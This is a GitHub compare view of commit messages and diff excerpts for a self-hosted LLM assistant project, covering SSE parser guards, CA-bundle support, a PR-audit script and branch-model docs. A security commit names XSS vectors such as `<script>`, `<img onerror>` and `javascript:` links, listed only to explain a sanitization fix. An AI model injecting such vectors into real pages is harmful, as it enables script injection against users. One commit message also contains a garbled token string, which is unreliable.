Compare commits

...
21 Commits
Author SHA1 Message Date
raf cf5c5118d8 fix(hwfit): return no_fit instead of None when target_quant is a GGUF tier on multi-GPU (#2375)
The multi-GPU GGUF filter at fit.py:380 returned None unconditionally
for Q*/IQ quants on 2+ GPU systems. When the caller explicitly passes
target_quant, they are asking 'what happens if I try this?' and expect
a structured no_fit response, not a silent None.

Fix: skip the filter when target_quant is explicitly provided so the
call falls through to the existing no_fit path.

Fixes #
2026-06-04 14:25:36 +01:00
ooovenenoso e5d3f2211b fix(document): render Mermaid in markdown preview (#2415) 2026-06-04 14:25:15 +01:00
Wes HuberandClaude Opus 4.6 93b3e108a6 fix: re-export _SPORTS_HINT_RE from search ranking shim (#2273)
The compatibility re-export shim at src/search/ranking.py forgot
_SPORTS_HINT_RE, so tests importing src.search.ranking raised
AttributeError on the [src] parametrize variant.

Fixes #1995

Co-authored-by: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
2026-06-04 14:24:53 +01:00
raf d3e6935d62 fix(tests): update search service mock to match current API signature (#2334)
comprehensive_web_search now called with (query, max_pages, return_sources)
and returns a tuple (_context, results). The test mock still used the old
async signature with max_results/fetch_content and returned a plain list,
causing TypeError on every run.

Fixes #2331
2026-06-04 14:19:51 +01:00
Fellah Youssef e92719263e feat(ui): allow expanding consolidated file chip regardless of count (#1849) (#2086) 2026-06-04 14:02:52 +01:00
GiuseppeandClaude Sonnet 4.6 bc9104efe2 fix: SSE stream parser crashes with NoneType on providers sending null choice/usage/tc entries (#2389)
* fix: SSE parser crashes with NoneType on MiniMax-M3 (and any provider sending null choice/usage/tc)

Three guards added in stream_llm:

1. choices[0] null check — MiniMax (and some other providers) send a
   choices entry as None. `_choices[0].get("delta")` raised
   AttributeError. Now checks `_choices[0] is not None` before calling
   .get().

2. usage null guard — j["usage"] can arrive as None (not a dict) on
   some providers. Added `or {}` so subsequent .get() calls don't crash.

3. tool_calls null entry skip — individual entries in the tool_calls
   array can be None. Added `if tc is None: continue` before
   tc.get("function").

All three match the `or {}` / null-guard pattern used elsewhere in the
same block. Safe for all OpenAI-compatible providers.

Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com>

* fix: guard null choice in elif-choices SSE branch

The usage-chunk path already guarded _choices[0] is not None, but the
elif "choices" branch that processes content/tool-call deltas did not.
A chunk like {"choices": [null]} or {"choices": [null], "usage": null}
reaches j["choices"][0].get("delta") and crashes with:

    'NoneType' object has no attribute 'get'

Fix: extract choices[0] into _c0 and continue to the next chunk when
it is None, matching the guard already applied in the usage path.

Adds three focused regressions covering the paths the maintainer flagged:
- {"choices": [null]}
- {"choices": [null], "usage": null}
- tool_calls array containing a null entry alongside a valid call

Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com>

---------

Co-authored-by: Claude Sonnet 4.6 <noreply@anthropic.com>
2026-06-04 13:53:10 +01:00
Joeseph Grey fa1fe7f866 security: sanitize rendered research-report HTML (#364)
The visual research report is assembled from LLM output over crawled web
pages (untrusted content) and served under a relaxed `script-src
'unsafe-inline'` CSP. Two values reached that HTML without sanitization:

- `_md_to_html` rendered the report markdown via python-markdown, which
  passes raw HTML through verbatim, so `<script>` / `<img onerror>` /
  `<svg onload>` / `javascript:` links carried in crawled content ran in
  the app origin.
- `category` (from the /api/research/start request body, no enum check) was
  interpolated raw into `<body class="category-{category}">`.

Allowlist-sanitize the rendered markdown with nh3, keeping the formatting
the report emits (tables, code, details/summary, toc anchors, codehilite
classes, external-link target/rel) while dropping active content, and
html.escape the category. Adds regression tests.
2026-06-04 13:42:49 +01:00
Massab K. 594775dc4b Fix issue 135 chat context bleed (#281)
* Fix issue 135 chat context bleed

* Guard task delivery metadata access
2026-06-04 13:27:46 +01:00
Alexander KenleyandAlex Kenley 7b45a94b6d Fix calendar routing and user-local time context (#408)
* fix(chat): add user-local time context

* fix(chat): route calendar follow-up phrasing

* refactor(chat): log tool intent routing reasons

* test(chat): align user time prompt shim

---------

Co-authored-by: Alex Kenley <Alex.Kenley@threatvectorsecurity.com>
2026-06-04 13:20:04 +01:00
tanmayraut45 f59edee611 Support extra CA bundle for private-CA LLM providers (#769)
Adding GigaChat (Sber) or an on-premise enterprise LLM gateway as a
model endpoint fails on first probe with

    CERTIFICATE_VERIFY_FAILED: self-signed certificate in certificate
    chain (_ssl.c:1000)

because their TLS chain is signed by a private root CA (Russian Trusted
Root CA for GigaChat; corporate CA for on-prem) that isn't part of the
default system / certifi trust store. The endpoint shows offline in
the picker even though the URL and API key are correct (issue #722).

The right fix is to extend the trust store, not to weaken verification.
This change:

- src/tls_overrides.py: new module that resolves an opt-in env var
  LLM_CA_BUNDLE at import time, builds a shared SSLContext via
  ssl.create_default_context() (so the system / certifi bundle is
  loaded first) and layers the operator's PEM on top with
  load_verify_locations(). Exposes llm_verify() returning a value
  suitable for httpx `verify=`. Defaults to True (httpx built-in
  trust) when the env var is unset, when the file is missing, or
  when the PEM fails to load — verification is never silently
  disabled, the warning is logged and we fall back to the safe path.

- src/llm_core.py: thread llm_verify() into the shared AsyncClient
  used by stream_llm / streaming completions.

- routes/model_routes.py: thread llm_verify() into the five httpx.get
  call sites in _probe_endpoint / _ping_endpoint so adding a
  private-CA endpoint goes green on the very first probe and the
  picker stops showing it offline.

- .env.example: document LLM_CA_BUNDLE with the GigaChat case as the
  concrete example.

Deliberately NOT included: a verify=False knob (global or per-host).
Disabling verification exposes the affected endpoint to MITM, and the
operator-supplied bundle is the correct fix for legitimate private-CA
providers — so the only switch in this PR is the safe one.

Closes #722.
2026-06-04 13:18:50 +01:00
SHORYA BAJ f876fc7704 fix(cookbook): don't mark successful dependency installs as crashed (#1315)
Pip dependency installs are tracked as download tasks but finish with the
runner's "=== Process exited with code 0 ===" sentinel and pip's
"Successfully installed" line — never the HuggingFace download markers
(DONE / 100% / /snapshots/ / DOWNLOAD_OK) the download heuristics look for.

Once the tmux pane is gone, the backend's only completion check is the HF
cache lookup, which a pip package (e.g. llama-cpp-python[server], no "/")
never matches, so it reports "stopped" — and the frontend maps a stopped
download to "crashed". The reconnect loop's session-gone heuristic had the
same gap. Result: a clean install (exit 0) showed "crashed" in the Running
tab while the Dependencies tab correctly showed it installed.

Add a shared _depInstallSucceeded() helper that keys off the exit-0
sentinel (falling back to pip's success line, rejecting ERROR/Traceback)
and wire it into both the session-gone heuristic and the background status
reconciler, gated on payload._dep so real model downloads are unaffected.

Also fixes the pre-existing test_background_status_poll_reconciles_into_local_tasks
assertion that no longer matched the evolved reconciler, and adds regression
coverage for both paths.
2026-06-04 12:55:06 +01:00
ghreprimandandghreprimand 28c43121d7 Fix session export 500 on multimodal/None message content (#1984)
txt/html/md export joined and string-munged message.content directly, so a
multimodal turn (content is a list of blocks) crashed export with a TypeError
on join (txt) / AttributeError on .replace (html), and None content (tool-only
assistant turns) rendered as the literal 'None'. Add a _content_to_text helper
that flattens string/list/None to plain text and apply it at the three export
sites. JSON export is unchanged (it serializes structured content correctly).
Plain-string content is returned unchanged, so existing exports are identical.

Co-authored-by: ghreprimand <203024559+ghreprimand@users.noreply.github.com>
2026-06-04 12:53:44 +01:00
pewdiepie-archdaemon 041c03bf11 Add dev/main branch model: PRs target dev, main is curated
Switching to a two-branch workflow: contributors open PRs against `dev`,
and `main` is fast-forwarded to a tested `dev` commit at each release.
This separates "things land in staging" (can move fast) from "things
ship to users" (slow, tested in a browser by the maintainer first).

CONTRIBUTING: add a Branch model section explaining the split + how to
retarget a PR.
PR template: add an explicit "this PR targets dev" checkbox at the top
so it's the first thing a contributor confirms.

End-users cloning the repo will now land on `dev` by default; they can
`git checkout main` if they want the curated branch.
2026-06-04 20:52:56 +09:00
Alexandre Teixeira f2b11ba94e tools: add read-only PR blocker audit helper
Adds a standalone read-only PR blocker audit helper with Markdown, terminal, and JSON output plus focused tests and documentation.
2026-06-04 12:51:48 +01:00
GiuseppeandClaude Sonnet 4.6 f6a5f6592f fix: log warnings on silently swallowed agent and endpoint failures (#2367)
get_builtin_overrides() was swallowing all exceptions with a bare
`except Exception: pass`, so misconfigured tool-description overrides
would silently produce wrong agent behaviour with no log trace.

The background endpoint refresh loop had the same pattern: any probe
failure was silently ignored, giving operators no signal that the
refresh was broken.

Also removes a circular self-import (`from src.agent_loop import
_build_base_prompt`) inside _build_system_prompt; the function is
already in scope and the import created a latent circular reference risk.

Co-authored-by: Claude Sonnet 4.6 <noreply@anthropic.com>
2026-06-04 12:29:31 +01:00
Kenny Van de Maele d25052e43f chore: remove unused imports in calendar_routes (#2221)
routes/calendar_routes.py imports several names it never uses (pyflakes):
typing.Tuple, dateutil.rrule.{rruleset,DAILY,WEEKLY,MONTHLY,YEARLY}, and
auth_helpers.get_current_user. Drop them (the whole DAILY/WEEKLY/MONTHLY/
YEARLY line goes; rrulestr and require_user are kept). No behaviour change.
2026-06-04 12:13:18 +01:00
GiuseppeandClaude Sonnet 4.6 68cb715914 fix(endpoint): import ModelEndpoint from core database
ModelEndpoint is defined in core.database, not src.database. The wrong
import silently prevented the module from loading in deployment
configurations that do not have a src/database.py shim, resulting in an
ImportError at startup.

Also adds a warning log when resolve_endpoint finds no usable model
(all models hidden or the list is empty), making the otherwise-silent
failure visible in operator logs.

The test_auth_regressions stub for src.endpoint_resolver was missing the
build_models_url attribute, which caused test collection errors.

Co-authored-by: Claude Sonnet 4.6 <noreply@anthropic.com>
2026-06-04 11:51:47 +01:00
+2 88754035ce fix(cookbook): stop-all no longer auto-retries interrupted HF downloads fixes (#1474)
* fix(cookbook): stop-all no longer auto-retries interrupted HF downloads

When C-c was sent to a running download, the bash wrapper printed
DOWNLOAD_FAILED on non-zero exit (SIGINT = 130). The reconnect polling
loop was still running at that point, saw the failure marker, and
silently relaunched the download — making "Stop all" appear to have no
effect while the UI showed the toast as if it succeeded.

Fix: abort the reconnect controller immediately when the stop button is
clicked (before the kill command is dispatched), and guard the
auto-retry condition with !controller.signal.aborted so that any
in-flight poll that completes after abort cannot trigger a retry.

Fixes #1458

Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com>

* Fix Edge/Chromium sidebar section-title clipping (#1420)

Sidebar section titles were vertically clipped in Chromium/Edge (fine in
Firefox). Raise line-height 1 → 1.3, mirroring the existing .list-item fix.
The titles are flex-centred in a fixed-height (29px) header, so this adds
glyph headroom without any reflow.

* Drop GPU-only flags from the CPU-only (-ngl 0) serve command (#1433)

A CPU-only llama.cpp serve config still emitted --flash-attn on and exported
GGML_CUDA_ENABLE_UNIFIED_MEMORY=1 (independent toggles, often left on by an Auto
profile), so the command mixed "zero GPU layers" with CUDA/flash-attn and failed
to start (issue #1291). Gate both on a _cpuOnly check (ngl == 0). GPU serving is
unchanged — the gate only affects the ngl=0 path.

Co-authored-by: Claude Opus 4.8 (1M context) <noreply@anthropic.com>

* fix: APIKeyManager.load crashes app startup on a corrupt/wrong-shape api_keys.json (#1565)

* Don't lose deep-research findings when synthesis times out (#1551) (#1562)

Two problems made deep research report "No information could be gathered" even
after it had extracted findings, on slow local models (reporter served a 20B
via LM Studio):

- _synthesize hard-capped its LLM call at timeout=60, while extraction uses the
  user's extraction_timeout (300s here) and the final report uses 180s. The slow
  model needed >60s to synthesize the round's findings, so synthesis timed out
  after 3 attempts. Raised it to 180s to match the final-report call.

- When synthesis produced no report (it returns the unchanged, still-empty
  report on failure during round 1), the run hit
  `if not report: return "No information could be gathered…"` and discarded the
  findings it had already gathered. Now it falls back to a compiled report built
  from those findings (_fallback_report) so the user keeps the gathered material.

Tests stub the LLM (no live model/DB), pin the synthesis timeout >= 180, that the
fallback surfaces the findings rather than the give-up message, and that a failed
synthesis preserves the previous report.

Co-authored-by: Claude Opus 4.8 (1M context) <noreply@anthropic.com>

* fix: return sorted model list on first call in group chat (#1484)

Both _getModels() and getAllModels() store the sorted copy in a cache
variable but return the original unsorted array on first invocation.
Subsequent calls return the cache (sorted), causing inconsistent
model picker ordering on first render.

* fix: guard sp.destroy() in _loadScheduled against null spinner (#1495)

When the scheduled folder is opened with cached data, sp is null
(the loading spinner is skipped). _loadScheduled receives null and
calls sp.destroy() unconditionally, crashing with TypeError.

* fix: capture download exit code before test consumes it (#1497)

The shell pattern 'if [ $? -eq 0 ]; ... else ... echo DOWNLOAD_FAILED (exit $?)' always reports 'exit 1' because $? inside the else branch is the exit code of the [ test command, not the download. Capture into _ec first.

* fix: guard uid.decode() in auto-classify warning log against str UIDs (#1472)

Every other uid.decode() call in this function uses
'uid.decode() if isinstance(uid, bytes) else str(uid)' but the
warning at line 832 does bare uid.decode(), crashing with
AttributeError when uid is already a string.

* fix: guard AI tidy verdict against non-string LLM output (#1486)

The AI document-tidy endpoint parses verdicts from LLM JSON output
and calls .lower().strip() directly. If the model returns null or a
non-string element, this crashes with AttributeError. Coerce to str
so malformed output is treated as 'keep' instead of crashing.

* fix: rename local url-quote import to avoid shadowing module-level _q (#1471)

The 'from urllib.parse import quote as _q' at line 734 shadows the
module-level _q (istrstrstrstrstrstrIMAPutility) imported from email_helpers, causing
UnboundLocalError at lines 191 and 278 where _q is used before the
local import executes. This silently breaks the entire auto-summarize
pass.

* fix(ui): add missing Escape key handlers for email-lib-modal, model-picker-menu, and sort dropdowns (#1487)

CONTEXT: Several interactive elements lacked Escape key handlers: the email library modal was not in dynamicModals, the model-picker popup had no Escape close, and the session/model sort dropdowns only closed on outside click.

CHANGE: Adds email-lib-modal to the dynamicModals array in the Escape handler so it gets dismissed via dismissModal. Adds a check for model-picker-menu.open before the modal chain to close the dropdown on Escape. Adds checks for session-sort-dropdown and model-sort-dropdown display=block before the document panel minimize fallback.

WHY: Users expect consistent Escape-to-close behavior across all modals, overlays, and popups. These four were the only interactive containers in the app that ignored the Escape key entirely.

IMPACT: Pressing Escape now closes the email library modal, model picker popup, session sort dropdown, and model sort dropdown -- matching user expectations and the behavior of every other modal in the app.

* fix: mcp CLI _serialize crashes when stored env JSON is a list (#1609)

* fix: validate_caldav_url crashes with TypeError on a non-string URL (#1608)

* fix: _sanitize_export_filename crashes on a non-string session name (#1607)

* fix: shared MCP truncate() crashes on None/non-string tool output (#1605)

* fix: search query helpers crash on a non-string query (#1604)

* fix: rag_server add/remove_directory crashes on a non-string directory arg (#1614)

* fix: gallery CLI image serialization crashes on a non-string prompt (#1598)

* fix: research CLI summary crashes on a non-string query (#1596)

* fix: skills CLI summary crashes on a non-string description (#1595)

* fix(cookbook): set UTF-8 encoding for detached download/serve subprocesses (#1599)

On Windows, Python defaults to the active code page (cp1252) for
subprocess I/O. HuggingFace CLI outputs U+2713 (✓) when validating
tokens, which cp1252 cannot encode, crashing the download process.

Set PYTHONUTF8=1 and PYTHONIOENCODING=utf-8 in the subprocess
environment so Unicode output from hf/pip/llama-server is handled
correctly.

Fixes #1543

Co-authored-by: Claude Opus 4.6 (1M context) <noreply@anthropic.com>

* docs: clarify host Ollama with Docker (#1594)

* fix(ui): stop welcome-screen tip from clipping on narrow phones (#1612)

The empty-state tip ("Add an AI endpoint from Settings...") shares a 60px
max-height ceiling with the one-line .welcome-sub / .welcome-version. On
narrow phones the welcome block shrink-wraps and the tip wraps to 4-5 lines
(~67px), so the shared ceiling clipped its last line ("...key into the
chat.") - the only setup hint a first-run user gets.

Give .welcome-tip its own taller max-height (120px), placed above the
@media (max-height: 650px) block so that rule's max-height:0 still collapses
the tip on short viewports. .welcome-sub / .welcome-version are untouched,
and desktop is unchanged (the tip is ~50px there, well under the ceiling).

* Save only string personal doc paths (#1566)

* Reject backup output inside data dir (#1587)

* Parse all AMD GPU check args (#1586)

* Require runnable dispatcher subcommands (#1585)

* Require runnable dispatcher subcommands

* Use modern dispatcher test loader

* Remove duplicate update database body (#1584)

* Skip invalid research service sources (#1583)

* Reject CalDAV writeback events without uid (#1582)

* Reject empty mail CLI recipients (#1581)

* Reject empty mail CLI recipients

* Keep mail CLI test imports isolated

* Validate signature CLI PNG data (#1580)

* Validate signature CLI PNG data

* Keep signature CLI test imports isolated

* Reject invalid preset CLI entries (#1579)

* Reject invalid preset CLI entries

* Use modern preset CLI test loader

* Normalize session CLI counters (#1578)

* Normalize session CLI counters

* Keep sessions CLI test imports isolated

* fix: monthly schedule label shows 21th/22th/31th (ordinal suffix for days >20) (#1577)

* fix: split_chunks emits a duplicate trailing chunk for text over size-overlap (#1573)

* fix: builtin_actions heuristics crash on a truthy non-string input (#1639)

* fix: skill test-task / precision helpers crash on a non-dict skill (#1638)

* fix: logs CLI _resolve crashes on a non-string name (#1631)

* fix: _extract_skill_json crashes on a truthy non-string teacher response (#1630)

* fix: tool-block parsing crashes on a non-string input (#1628)

* fix: check_outbound_url crashes on a truthy non-string URL (#1623)

* fix: document_actions title/content helpers crash on non-string input (#1621)

* fix: inside_base_dir raises TypeError on a non-string path instead of failing closed (#1619)

* fix: is_markitdown_format crashes on a non-string path (#1618)

* Close app_api blocklist gap for bare /api/tokens and /api/users

The blocklist prefixes had trailing slashes, so path.startswith() only
matched /api/tokens/{id} but not /api/tokens itself — the bare GET (list)
and POST (mint) endpoints were reachable via app_api. Same gap on
/api/users (list/create/delete). Drop trailing slashes so both bare and
sub-resource forms are blocked. /api/auth and /api/admin had no bare
endpoints today but get the same treatment to prevent future drift.

Caught by #1462.

* Decrypt CalDAV password before write-back (#1731)

writeback_event read cfg["password"] (the encrypted blob) and passed it
straight to DAVClient, so every local create/edit/delete authenticated
with the literal ciphertext, the remote rejected it, and the change
never reached the server — the exact silent-write-loss this module was
built to prevent. The pull path src/caldav_sync.py already decrypts;
mirror that. decrypt() is a no-op on legacy plaintext.

Caught by #1731.

* Memory MCP delete: match exact id, not prefix (#1303)

The delete action looked up the target with startswith() to capture
full_id, but then re-applied startswith() to filter the list — so a
short or ambiguous memory_id silently deleted every memory whose id
shared the prefix, while the success message reported only the first
match. The edit action used the first match and stopped, so the two
actions disagreed on multi-match behaviour. Use full_id for both.

Caught by #1303.

* Rebuild memory vector index from the full saved set, not just the audited owner (#1747)

audit_memories saves final_entries merged with other owners' entries
(correct), but then rebuilt the shared vector collection from
final_entries alone — wiping every other owner from semantic search
until they happened to run their own audit. Keyword fallback masked
it, so it degraded silently. Capture saved_entries once and rebuild
from that.

Caught by #1747.

* Owner-scope RAG doc ids so identical chunks across users don't collide (#1738, #1760)

_generate_doc_id hashed only text. add_document / add_documents_batch
early-return when the id exists, so the second owner indexing a
byte-identical chunk hit the first owner's id, was silently dropped,
and never stored under their owner — their owner-filtered search then
quietly omitted it. Hash owner + text; empty owner reproduces the
legacy id, so the unowned/base index keeps existing ids and isn't
re-churned. Same-owner identical chunks still dedupe.

Caught by #1738 and #1760 (independent reports of the same bug).

* Removed duplicate definition of _preview_text()

---------

Co-authored-by: Claude Sonnet 4.6 <noreply@anthropic.com>
Co-authored-by: Zeus-Deus <100132710+Zeus-Deus@users.noreply.github.com>
Co-authored-by: lekt8 <lewistham9x@gmail.com>
Co-authored-by: Afonso Coutinho <afonso@omelhorsite.pt>
Co-authored-by: Paulo Victor Cordeiro <146781332+pvcordeiro@users.noreply.github.com>
Co-authored-by: Zarl-prog <asimjunaidi5u@gmail.com>
Co-authored-by: Wes Huber <wesleybaxterhuber@gmail.com>
Co-authored-by: .bulat <its.bulat@icloud.com>
Co-authored-by: Mahdi Salmanzade <mahdisalmanzadehasl@gmail.com>
Co-authored-by: red person <redpersoncoding@gmail.com>
Co-authored-by: pewdiepie-archdaemon <pewdiepie-archdaemon@users.noreply.github.com>
2026-06-04 11:48:39 +01:00
Marius Popa dc365a1b27 Fix Ollama agent single-token responses (#1591)
Agent mode treated local /v1 endpoints, including Ollama on :11434, as native-tool-capable by host/model heuristics. On Ollama's OpenAI-compatible surface some models that advertise tool support stop after a single token when schemas are sent (issue #1567). Default local Ollama /v1 back to fenced tool blocks unless the endpoint explicitly has supports_tools=True.

Also compare both the runtime chat URL and the normalized endpoint base when reading ModelEndpoint.supports_tools. That keeps a saved base URL such as http://localhost:11434/v1 effective when the active session URL is /v1/chat/completions.

Tests: .venv/bin/python -m pytest tests/test_tool_support_heuristic.py
2026-06-04 11:45:10 +01:00
Wes HuberandClaude Opus 4.6 965185c6f9 fix(tests): pre-import real sqlalchemy/database in conftest to prevent stub contamination (#2398)
Some test files (e.g. test_llm_core_sanitize_tool_calls) stub
sqlalchemy and core.database at module level with
`if mod not in sys.modules`. During pytest collection these stubs
fire before the real modules are imported, contaminating every
subsequent test that needs real ORM objects (IntegrityError, missing
columns, etc.).

Pre-import the real modules in conftest.py so the module-level
guards find them already loaded and skip the stubs. Fixes ~10+
cascading test failures that only appear in the full suite.

Fixes #2395

Co-authored-by: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
2026-06-04 11:39:49 +01:00
ooovenenoso e163384015 fix: treat Nix files as readable uploads (#2249) 2026-06-04 12:06:24 +02:00
45 changed files with 3485 additions and 184 deletions
+10
View File
@@ -27,6 +27,16 @@ LLM_HOST=localhost
# Research service LLM endpoint
# RESEARCH_LLM_ENDPOINT=http://localhost:8000/v1/chat/completions
# Extra CA bundle for LLM providers whose TLS chain isn't in the default
# trust store. Layered ON TOP of the system / certifi bundle — verification
# stays on for every host, the trust set just gets larger. Useful for:
# - GigaChat / Sber (Russian Trusted Root CA): without this the endpoint
# shows offline with CERTIFICATE_VERIFY_FAILED — self-signed certificate
# in certificate chain.
# - On-premise / corporate LLM gateways with an internal CA.
# Point at a PEM file containing the missing root(s).
# LLM_CA_BUNDLE=/etc/odysseus/ca/extra-roots.pem
# ============================================================
# Search & Web
# ============================================================
+4
View File
@@ -2,6 +2,10 @@
<!-- One paragraph: what changed and why. "Fixed bug" and "Added feature" are not summaries. -->
## Target branch
- [ ] This PR targets **`dev`**, not `main`. All PRs land in `dev`; `main` is curated by the maintainer at each release. If your PR is on `main` by accident, click "Edit" on this PR and change the base.
## Linked Issue
<!-- Every PR should be linked to an issue.
+11
View File
@@ -2,6 +2,17 @@
Thanks for helping. The project is moving quickly, so the best contributions are focused, easy to review, and easy to test.
## Branch model
Odysseus has two branches:
- **`dev`** — where all PRs land. Things can be in flux here; the merge button gets used freely.
- **`main`** — what users run. Curated and tested by the maintainer. Fast-forwarded to a stable `dev` commit at each release.
**Open your PR against `dev`, not `main`.** The GitHub "base" dropdown defaults to `dev`. If you opened a PR against `main` by accident, click "Edit" on the PR and change the base — no rebase needed.
End-users cloning the repo will land on `dev` by default. To run the curated/stable version: `git checkout main` after clone.
## Before You Start
- Search existing issues and pull requests before opening a new one.
+188
View File
@@ -0,0 +1,188 @@
# PR Blocker Audit
`scripts/pr_blocker_audit.py` is a small, read-only triage helper for maintainers who need to inspect open pull request overlap before reviewing or starting related work.
It is a triage helper, not a replacement for maintainer judgment.
## What it does
- Reads open PR metadata from a local JSON file or from `gh`.
- Reports files touched by more than one open PR.
- Groups active work into broad code areas.
- Ranks PRs with a deterministic heuristic score.
- Flags possible duplicate candidates based on title keyword overlap and changed-file similarity.
- Suggests quieter areas for conservative new work.
- Prints Markdown by default, compact terminal output when requested, or machine-readable JSON.
## What it does not do
- It does not post comments.
- It does not review, approve, label, close, merge, or otherwise mutate PRs.
- It does not add or run GitHub Actions.
- It does not import the Odysseus application package.
- It does not claim that a PR is definitely blocked or duplicated.
## Read-only safety guarantee
Offline mode only reads a local JSON file. Live mode runs read-only GitHub CLI commands:
```bash
gh pr list --repo OWNER/REPO --state open --limit 1000 --json number,title,author,files,mergeStateStatus,reviewDecision,updatedAt,url
```
If a PR from that list has missing or empty changed-file metadata, live mode fills it with read-only per-PR REST calls:
```bash
gh api --paginate "repos/OWNER/REPO/pulls/NUMBER/files?per_page=100"
```
If that GraphQL-backed command fails, it falls back to:
```bash
gh api --paginate "repos/OWNER/REPO/pulls?state=open&per_page=100"
```
Per-PR file fetching makes live overlap results useful, but it can be slower on repositories with hundreds of open PRs.
## Generate input JSON
For repeatable offline audits, capture PR metadata first:
```bash
gh pr list --repo OWNER/REPO --state open --limit 1000 --json number,title,author,files,mergeStateStatus,reviewDecision,updatedAt,url > open-prs.json
```
## Run offline mode
```bash
python3 scripts/pr_blocker_audit.py --input open-prs.json
```
## Run live mode
```bash
python3 scripts/pr_blocker_audit.py --repo OWNER/REPO
```
Live mode fetches up to 1000 open PRs by default. Use `--limit` to cap how many open PRs are fetched and analyzed, and `--top` to cap how many rows are displayed in ranked sections:
```bash
python3 scripts/pr_blocker_audit.py --repo OWNER/REPO --limit 50 --top 10
```
Live mode may take time on large PR queues because it fetches changed-file metadata for each PR that did not include it in the initial list response. Progress is shown on `stderr` by default only when `stderr` is a TTY:
```bash
python3 scripts/pr_blocker_audit.py --repo OWNER/REPO --progress auto
python3 scripts/pr_blocker_audit.py --repo OWNER/REPO --progress always
python3 scripts/pr_blocker_audit.py --repo OWNER/REPO --progress never
```
Use `--quiet` to suppress progress and non-fatal warning output. Progress and warnings never go to `stdout`, so redirected reports and `--output` files remain clean.
For a faster metadata-only scan, skip changed-file metadata entirely:
```bash
python3 scripts/pr_blocker_audit.py --repo OWNER/REPO --no-fetch-files
```
## JSON output
Use `--format json` for machine-readable output suitable for scripting or downstream tooling:
```bash
python3 scripts/pr_blocker_audit.py --input open-prs.json --format json
python3 scripts/pr_blocker_audit.py --input open-prs.json --format json --output report.json
```
JSON output is stable and deterministic for the same input. It uses `sort_keys=True` so field order does not vary between runs. It never includes ANSI escape codes, even with `--color always`. Progress text is always `stderr`-only and never appears in JSON output.
The top-level object contains these keys:
- `summary` — scalar overview: `total_prs_analyzed`, `unique_files_touched`, `prs_missing_changed_file_metadata`, `main_overlap_drivers`, `highest_risk_areas`, `recommended_first_review_target`
- `locked_areas` — list of objects with `area`, `files` (top paths as a string), `prs` (list of PR numbers), `why`, `priority`
- `hot_files` — list of objects with `file`, `pr_count`, `pr_numbers` (list of PR numbers); capped at `--top`
- `review_priorities` — ranked list with `rank`, `number`, `score`, `title`, `url`, `merge_state`, `review_decision`, `reasons` (list); capped at `--top`
- `duplicate_candidates` — list of objects with `pr_numbers` (list) and `titles` (list, one entry per PR in the group)
- `safer_areas` — list of strings
## Write output to a file
```bash
python3 scripts/pr_blocker_audit.py --input open-prs.json --output pr-blocker-report.md
python3 scripts/pr_blocker_audit.py --input open-prs.json --format json --output report.json
```
Markdown and JSON output never include ANSI color codes. ANSI codes are stripped defensively when writing any output file.
## Terminal output and color
Use terminal output for quick interactive scans:
```bash
python3 scripts/pr_blocker_audit.py --input open-prs.json --format terminal
```
Terminal output includes locked areas, hot files, review / blocker priorities, possible duplicate candidates, and safer areas.
Color is readability-only. It is never included in Markdown reports and is stripped defensively when writing output files. Color modes are:
```bash
python3 scripts/pr_blocker_audit.py --input open-prs.json --format terminal --color auto
python3 scripts/pr_blocker_audit.py --input open-prs.json --format terminal --color always
python3 scripts/pr_blocker_audit.py --input open-prs.json --format terminal --color never
```
`--no-color` is kept as an alias for `--color never`. With `--color auto`, color is used only for terminal output on a TTY when `NO_COLOR` is not set and output is not being written to a file.
## Interpret locked areas
Locked areas are broad categories with one or more open PRs. An area is higher priority when several PRs touch it, when PRs share files, or when the highest scoring PR in that area has risk signals. Treat this as a prompt to inspect the PRs together.
`PRs missing changed-file metadata` counts PRs that still had no changed-file paths after live file fetching, or PRs from offline input that did not include files. Those PRs can still appear in area summaries from title matching, but file overlap analysis is weaker for them.
`Docs / tooling / tests` is conservative: runtime PRs are not classified there just because they include tests or README changes. Docs-only, README-only, scripts-only, tests-only, or strongly titled docs/tooling/test work still maps there.
`Other / unclassified` is kept visible for PRs that do not match the area rules. When most of it comes from missing file metadata, the report summarizes that instead of letting long PR lists dominate the locked-area section.
## Interpret duplicate candidates
Duplicate candidates are labeled as possible duplicate / needs human review. The script groups PRs only when their file sets are highly similar and their titles share meaningful keywords. Similar PRs can still be complementary.
## Interpret heuristic scores
The review priority score is deterministic for the same input. Recency is measured against the newest parseable PR update timestamp in the input, and the score uses simple weights for:
- direct auth, bearer-token, API-token, privilege, or permission lifecycle signals
- security, secret, or data exposure keywords
- persistence, migration, database, SQLite, or Postgres keywords
- memory, vector, RAG, embedding, or retrieval keywords
- overlapping changed files
- clean merge state as a small actionability signal
- review state
- recently updated PRs when timestamp data exists
Higher scores mean "inspect earlier", not "correct" or "merge-ready". Broad PRs can score high because they overlap many files and may block other work, but they still need normal review and validation.
Dirty, blocked, conflicting, and unknown merge states are shown as risk/caution reasons. They do not add importance points by themselves.
## Design note: intentional single-script layout
`pr_blocker_audit.py` is intentionally kept as one standalone script. The goal is to keep this maintainer/contributor workflow helper low-friction while broader repo tooling and test-suite conventions are still evolving. Splitting it into packages or modules is not ruled out, but is deferred until there is a clearer settled pattern to follow.
## Limitations
- Some PRs may still lack changed files if GitHub file metadata calls fail or metadata-only mode is used.
- Area classification is intentionally small and editable.
- Title keyword matching misses semantic duplicates.
- Heuristic scoring cannot know project strategy, reviewer availability, or hidden dependency chains.
- Empty or missing file metadata produces a valid report but weak overlap analysis.
## Validation
```bash
python3 -m py_compile scripts/pr_blocker_audit.py tests/test_pr_blocker_audit.py
python3 -m pytest tests/test_pr_blocker_audit.py -q
python3 scripts/pr_blocker_audit.py --help
git diff --check
```
+4
View File
@@ -21,6 +21,10 @@ youtube-transcript-api
# Markdown rendering for research reports (src/visual_report.py).
# Imported at module-top so it's a hard core dep, not optional.
markdown
# HTML sanitizer for rendered research reports (src/visual_report.py). Report
# content is untrusted (LLM output over crawled pages) and report pages run
# under a relaxed CSP, so the rendered HTML is allowlist-sanitized.
nh3
# Calendar .ics import/export (routes/calendar_routes.py).
icalendar
# Recurrence rule expansion for calendar events (routes/calendar_routes.py).
+38 -31
View File
@@ -3,16 +3,15 @@
import logging
import uuid
from datetime import datetime, date, timedelta
from typing import Optional, List, Tuple
from typing import Optional, List
from fastapi import APIRouter, HTTPException, Request, UploadFile, File
